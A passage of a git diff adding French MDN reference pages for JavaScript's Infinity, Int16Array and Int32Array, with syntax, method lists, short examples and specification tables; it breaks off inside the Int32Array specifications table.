+<p>La valeur initiale d'<code>Infinity</code> est {{jsxref("Number.POSITIVE_INFINITY")}}. La valeur <code>Infinity</code> (infinité positive) est une valeur plus grande que n'importe quel nombre. Cette valeur se comporte comme l'infini mathématique ; par exemple, tout ce qui est multiplié par <code>Infinity</code> vaut <code>Infinity</code>, et tout ce qui est divisé par <code>Infinity</code> vaut 0.</p>
+
+<p>D'après la spécification ECMAScript 5, <code>Infinity</code> est en lecture seule.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">console.log(Infinity);          // Infinity
+console.log(Infinity + 1);      // Infinity
+console.log(Math.pow(10, 1000)); // Infinity
+console.log(Math.log(0));       // -Infinity
+console.log(1 / Infinity);      // 0</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.2', 'Infinity')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Infinity")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/int16array/index.html b/files/fr/web/javascript/reference/objets_globaux/int16array/index.html
new file mode 100644
index 0000000000..fc882ab1b9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/int16array/index.html
@@ -0,0 +1,205 @@
+---
+title: Int16Array
+slug: Web/JavaScript/Reference/Objets_globaux/Int16Array
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/Int16Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le tableau typé <strong><code>Int16Array</code></strong> permet de représenter un tableau d'entiers signés (en complément à deux) représentés sur 16 bits et dans l'ordre des octets de la plate-forme. Pour avoir un contrôle sur le boutisme utilisé, il faudra utiliser un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois le tableau construit, il est possible de faire référence aux éléments en utilisant les méthodes de l'objet ou en utilisant la notation usuelle de parcours d'un tableau (la syntaxe utilisant les crochets).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Int16Array(); // apparu avec ES2017
+new Int16Array(longueur);
+new Int16Array(tableauTypé);
+new Int16Array(objet);
+new Int16Array(buffer [, positionOctet [, longueur]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Syntaxe">tableaux typés</a><em> (TypedArray)</em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int16Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de <code>Int16Array</code>, la propriété vaudra 2.</dd>
+ <dt><code>Int16Array.length</code></dt>
+ <dd>Une propriété de longueur qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Int16Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Int16Array.name")}}</dt>
+ <dd>Renvoie la chaîne de caractère représentant le nom du constructeur. Dans le cas de <code>Int16Array</code>, la propriété vaudra "Int16Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Int16Array.prototype")}}</dt>
+ <dd>Prototype pour les objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Int16Array.from()")}}</dt>
+ <dd>Crée un nouvel objet <code>Int16Array</code> à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Int16Array.of()")}}</dt>
+ <dd>Crée un nouvel objet <code>Int16Array</code> à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_de_Int16Array">Prototype de <code>Int16Array</code></h2>
+
+<p>Tous les objets <code>Int16Array</code> héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>Int16Array.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera le constructeur natif<code> Int16Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Int16Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Renvoie l'{{jsxref("ArrayBuffer")}} référencée par l'objet <code>Int16Array</code>. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Int16Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la longueur, exprimée en octets, de l'objet <code>Int16Array</code> depuis le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Int16Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le décalage, exprimé en octets, entre l'objet <code>Int16Array</code> et le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Int16Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le nombre d'éléments contenus dans l'objet <code>Int16Array</code>. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en <strong>lecture seule</strong>.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Int16Array.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Int16Array.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Int16Array.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Int16Array.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Int16Array.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Int16Array.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Int16Array.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Int16Array.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Int16Array.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Int16Array.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Int16Array.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Int16Array.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Int16Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Int16Array.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Int16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Int16Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Int16Array.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Int16Array.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Int16Array.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Int16Array.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Int16Array.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Int16Array.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Int16Array.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Int16Array.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Int16Array</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "Int16Array.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Int16Array.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Int16Array.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Int16Array.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façons de créer un <code>Int16Array</code> :</p>
+
+<pre class="brush: js">// Construction à partir d'une longueur
+var int16 = new Int16Array(2);
+int16[0] = 42;
+console.log(int16[0]); // 42
+console.log(int16.length); // 2
+console.log(int16.BYTES_PER_ELEMENT); // 2
+
+// Construction à partir d'un tableau
+var arr = new Int16Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un autre TypedArray
+var x = new Int16Array([21, 31]);
+var y = new Int16Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Int16Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var int16 = new Int16Array(iterable);
+// Int16Array[1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA. <code>new</code> est obligatoire.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 a modifié le constructeur <code>Int16Array</code> afin d'utiliser l'opération interne <code>ToIndex</code> pour permettre de l'utiliser sans argument.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Int16Array")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6), <code>Int16Array</code> doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur <code>Int16Array</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Int16Array([1, 2, 3]);
+// TypeError: calling a builtin Int16Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Int16Array([1, 2, 3]);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés" title="en/JavaScript typed arrays">Les tableaux typés (<em>typed arrays</em>) en JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/int32array/index.html b/files/fr/web/javascript/reference/objets_globaux/int32array/index.html
new file mode 100644
index 0000000000..ecdc62a803
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/int32array/index.html
@@ -0,0 +1,205 @@
+---
+title: Int32Array
+slug: Web/JavaScript/Reference/Objets_globaux/Int32Array
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/Int32Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le tableau typé <strong><code>Int32Array</code></strong> permet de représenter un tableau d'entiers signés (en complément à deux) représentés sur 32 bits et dans l'ordre des octets de la plate-forme. Pour avoir un contrôle sur le boutisme utilisé, il faudra utiliser un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois le tableau construit, il est possible de faire référence aux éléments en utilisant les méthodes de l'objet ou en utilisant la notation usuelle de parcours d'un tableau (la syntaxe utilisant les crochets).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Int32Array(); // apparu avec ES2017
+new Int32Array(longueur);
+new Int32Array(tableauTypé);
+new Int32Array(objet);
+new Int32Array(buffer [, positionOctet [, longueur]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Syntaxe">tableaux typés</a><em> (TypedArray)</em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int32Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de <code>Int32Array</code>, la propriété vaudra 4.</dd>
+ <dt><code>Int32Array.length</code></dt>
+ <dd>Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'éléments, voir {{jsxref("TypedArray.prototype.length", "Int32Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Int32Array.name")}}</dt>
+ <dd>Renvoie la chaîne de caractère représentant le nom du constructeur. Dans le cas de <code>Int32Array</code>, la propriété vaudra "Int32Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Int32Array.prototype")}}</dt>
+ <dd>Prototype pour les objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>Int32Array.from()</dt>
+ <dd>Crée un nouvel objet <code>Int32Array</code> à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.</dd>
+ <dt>Int32Array.of()</dt>
+ <dd>Crée un nouvel objet <code>Int32Array</code> à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}</dd>
+</dl>
+
+<h2 id="Prototype_de_Int32Array">Prototype de <code>Int32Array</code></h2>
+
+<p>Tous les objets <code>Int32Array</code> héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>Int32Array.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera le constructeur natif<code> Int32Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Int32Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Renvoie l'{{jsxref("ArrayBuffer")}} référencée par l'objet <code>Int32Array</code>. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Int32Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la longueur, exprimée en octets, de l'objet <code>Int32Array</code> depuis le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Int32Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le décalage, exprimé en octets, entre l'objet <code>Int32Array</code> et le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Int32Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le nombre d'éléments contenus dans l'objet <code>Int32Array</code>. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en <strong>lecture seule</strong>.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Int32Array.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Int32Array.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Int32Array.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Int32Array.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Int32Array.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Int32Array.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Int32Array.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Int32Array.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Int32Array.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Int32Array.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Int32Array.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Int32Array.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Int32Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Int32Array.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Int32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Int32Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Int32Array.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Int32Array.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Int32Array.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Int32Array.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Int32Array.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Int32Array.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Int32Array.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Int32Array.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Int32Array</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "Int32Array.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Int32Array.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Int32Array.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Int32Array.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façons de créer un objet <code>Int32Array</code> :</p>
+
+<pre class="brush: js">// Construction à partir d'une longueur
+var int32 = new Int32Array(2);
+int32[0] = 42;
+console.log(int32[0]); // 42
+console.log(int32.length); // 2
+console.log(int32.BYTES_PER_ELEMENT); // 4
+
+// Construction à partir d'un tableau
+var arr = new Int32Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un autre TypedArray
+var x = new Int32Array([21, 31]);
+var y = new Int32Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(16);
+var z = new Int32Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var int32 = new Int32Array(iterable);
+// Int32Array[1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
